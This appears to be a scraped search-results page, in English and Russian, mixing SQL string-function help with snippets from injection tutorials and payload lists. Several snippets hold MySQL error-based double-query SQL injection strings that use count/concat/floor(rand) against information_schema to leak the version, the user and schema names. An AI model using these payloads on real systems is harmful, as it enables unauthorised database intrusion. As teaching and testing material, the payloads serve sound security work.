SQL select - Group by and concatenate (no group_concat)
select 'rubber duck', 'white' from dual ). select product, listagg(colour, ', ') within group (order by colour) as colours from tbl group by product
Google Переводчик
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
SQL-Injection-Payloads/sqli-misc.txt at master...
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat
Ireg And Select 9590 From Select Count Concat 0x71767a7671...
...From Select Count Concat 0x71767a7671 Select Elt 9590 9590 1 0x71626a7171 Floor Rand 0 2 X From Information Schema Plugins Group By X
Учимся на ошибках: методика проведения Error-based...
mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x
SQL Инъекции | Page 4 | ANTICHAT - Security online community
...concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema
Error based MySQL injection или не надо ругаться / Хабр
1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
Hacking: Error based sql injection tutorial - Double query injection
ultimatehackingarticles.blogspot.com
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
MySQL :: MySQL 8.0 Reference Manual :: 12.5 String Functions
CONCAT_WS() stands for Concatenate With Separator and is a special form of CONCAT(). The first argument is the separator for the rest of the arguments.
CAST and CONVERT (Transact-SQL) - SQL Server | Microsoft Docs
Conversion from image to varbinary(max), and vice-versa, operates as an implicit conversion, as do conversions between text and varchar(max)